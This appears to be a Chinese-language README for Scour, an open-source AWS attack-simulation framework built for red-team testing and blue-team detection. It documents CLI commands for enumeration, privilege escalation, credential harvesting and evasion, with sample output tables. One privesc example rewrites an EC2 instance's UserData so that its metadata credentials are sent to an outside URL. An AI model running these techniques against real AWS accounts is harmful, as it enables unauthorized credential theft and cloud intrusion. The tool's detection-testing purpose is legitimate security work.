Scour - AWS 检测框架

该工具用于在 AWS 控制平面内模拟攻击模式。每个攻击都会附带一个特定的 UA（用户代理），供蓝队进行信号检测。

状态

目前仍在积极开发中。存在大量错误。
尚未准备好投入生产环境。
问题提交地址： https://github.com/grines/scour/issues
维护者： grines

什么是 Scour？

Scour 是一个基于 Golang 编写的现代模块化 AWS 利用框架，专为红队测试和蓝队分析而设计。它包含可用来攻击环境或构建防御检测的现代技术。

特性

命令补全
动态资源列表
命令历史
蓝队模式（为攻击行为添加唯一的用户代理标签）

安装

Scour 使用 Golang 编写，因此可以轻松以二进制形式分发。

可获取方式

go get github.com/grines/scour

构建

go build main.go

如需更详细且用户友好的说明，请查看 Wiki 的安装指南。即将推出

Scour 模块

Scour 使用一系列模块：

注意

Scour 支持所有 Linux/OSX 系统。
Scour 是开源软件，采用 BSD-3-Clause 许可证分发。

开始使用

首次启动 Scour 时，

Scour 基本命令

token profile <profile_name> <region> 将列出存储在 ~/aws/credentials 中的可用 AWS 配置文件。
token AssumeRole <role_name> <region> 将从相同或跨账户中扮演角色。需要活动会话
help module 将返回指定模块的适用帮助信息。帮助文档待定
attack evasion <tactic> 将使用默认参数运行指定模块。

从命令行运行 Scour

scour 将进入 CLI 模式
Not Connected <> token profile apiuser us-east-1 设置会话，供需要会话的命令使用
Connected <apiuser/us-east-1> 表示已通过（区域）中的（~/.aws/credentials）配置文件连接到 AWS
Connected <apiuser/us-east-1> attack enum <attack> 按 Tab 键可补全可用的枚举策略列表
Connected <apiuser/us-east-1> attack privesc <attack> 按 Tab 键可补全可用的权限提升策略列表
Connected <apiuser/us-east-1> attack lateral <attack> 按 Tab 键可补全可用的横向移动策略列表
Connected <apiuser/us-east-1> attack evasion <attack> 按 Tab 键可补全可用的规避策略列表
Connected <apiuser/us-east-1> attack creds <attack> 按 Tab 键可补全可用的凭据发现策略列表
Connected <apiuser/us-east-1> attack execute <attack> 按 Tab 键可补全可用的执行策略列表
Connected <apiuser/us-east-1> attack persist <attack> 按 Tab 键可补全可用的持久化策略列表

枚举

Connected <apiuser/us-east-1> attack enum IAM IAM 发现

+-------------+---------------------+------------------+---------------+--------------+
|    USER     |  MANAGED POLICIES   | INLINE POLICIES  |    GROUPS     | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin       | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true         |
| EC2         | AmazonEC2FullAccess |                  |               | true         |
+-------------+---------------------+------------------+---------------+--------------+

Connected <apiuser/us-east-1> attack enum Roles 角色发现

UA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
|                            ROLE                            | PRINCIPAL TYPE |                  IDENTITY/SERVICE                   | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m                                | AWS            | [arn:aws:iam::861******:root                     | true         |
|                                                            |                | codebuild.amazonaws.com]                            |              |
| Amazon_CodeBuild_f2DOFPjMHK                                | Service        | [codebuild.amazonaws.com]                           | true         |
| Amazon_CodeBuild_HS59ko7lxn                                | Service        | [codebuild.amazonaws.com]                           | true         |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+

Connected <apiuser/us-east-1> attack enum EC2 EC2 发现

UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
|     INSTANCEID      |                  INSTANCE PROFILE                   |     VPC      | PUBLICIP |   PRIVATEIP   |   SECURITY GROUPS    | PORTS  |  STATE  | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None                                                | vpc-7e830c1a | None     | 172.31.53.199 | sg-09fcd28717cf4f512 | 80*    | stopped | false        | true     |
|                     |                                                     |              |          |               |                      | 22*    |         |              |          |
|                     |                                                     |              |          |               |                      | 5000*  |         |              |          |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.45.96  | sg-61b1fd07          | All*   | stopped | true         | true     |
|                     |                                                     |              |          |               |                      | 8888*  |         |              |          |
| i-01b265a5fdc45df57 | None                                                | vpc-7e830c1a | None     | 172.31.38.118 | sg-0392f752f9b849d3f | 3389*  | stopped | false        | true     |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None     | 172.31.39.199 | sg-006543a34d2f70028 | 22*    | stopped | true         | true     |
| i-0d95790b5e7ddff23 | None                                                | vpc-7e830c1a | None     | 172.31.12.57  | sg-e1a50dac          | 33391* | stopped | false        | true     |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+

Connected <apiuser/us-east-1> attack enum S3 S3 发现

UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
|                  BUCKET                   | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION |  REGION   |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a               | false     | false     | false        |             | false               |             | false       | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true      | false     | false        |             | false               |             | false       |           |
| bullsecu*********                         | true      | true      | false        |             | false               |             | false       |           |
| connect-6ec*****ad67                      | false     | false     | false        |             | false               |             | false       |           |
| connect-******5337c3                      | false     | false     | false        |             | false               |             | false       |           |
| ransom********                            | true      | false     | false        |             | false               |             | false       |           |
| red********                               | false     | false     | false        |             | false               |             | false       |           |
| rep-*****                                 | false     | false     | false        |             | false               |             | false       | us-west-2 |
| terraform*******                          | false     | false     | false        |             | false               |             | false       |           |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+

Connected <apiuser/us-east-1> attack enum Groups 组发现

UA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
|                     GROUP                     |      POLICIES       | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2                                           | SecurityAudit       | false        |                 | false        |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 |                     | false        |                 | false        |
| TestGroup                                     | AmazonEC2FullAccess | true         |                 | false        |
|                                               | SecurityAudit       |              |                 |              |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+

Connected <apiuser/us-east-1> attack enum Network 网络发现

待定

权限提升

Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data 从 EC2 窃取元数据凭据。停止实例 / 更新用户数据以将凭据发送到提供的 URL / 启动实例（将 EC2 令牌发送到 URL。）

[Sun May  9 06:10:16 2021]  INF  停止实例 i-0f5604708c0b51429 - 状态: stopped
[Sun May  9 06:10:46 2021]  INF  修改实例属性 UserData 于 i-0f5604708c0b51429
[Sun May  9 06:10:47 2021]  INF  启动实例 i-0f5604708c0b51429 - 状态: pending

凭据发现

Connected <apiuser/us-east-1> attack creds UserData 从 EC2 用户数据中获取凭据

UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
|     INSTANCEID      |       RULE       |                                    FINDING                                    |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook    | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword                                                      |
+---------------------+------------------+-------------------------------------------------------------------------------+

Connected <apiuser/us-east-1> attack creds SSM 从 Systems Manager 获取凭据

UA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE |        VALUE         |
+------------+----------+----------------------+
| Test       | text     | thismightbeapassword |
+------------+----------+----------------------+

Connected <apiuser/us-east-1> attack creds ECS 从 ECS 获取凭据

UA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret      | heere | sample-app |
+-------------+-------+------------+

免责声明与 AWS 可接受使用政策

据我们所知，Scour 的功能符合 AWS 可接受使用政策，但作为一款灵活且模块化的工具，我们无法保证在所有情况下都合规。您有完全责任确保使用 Scour 的方式符合 AWS 可接受使用政策。
取决于您使用的 AWS 服务以及计划的测试内容，您可能需要在实际针对基础设施运行 Scour 之前向 Amazon 请求授权。判断是否需要此类授权是您的责任。
与任何渗透测试工具一样，在您的环境之外使用 Scour 前，您有责任获得适当的授权。
Scour 是不附带任何担保的软件。使用 Scour，您将承担所有结果的全部责任。

scour

最受欢迎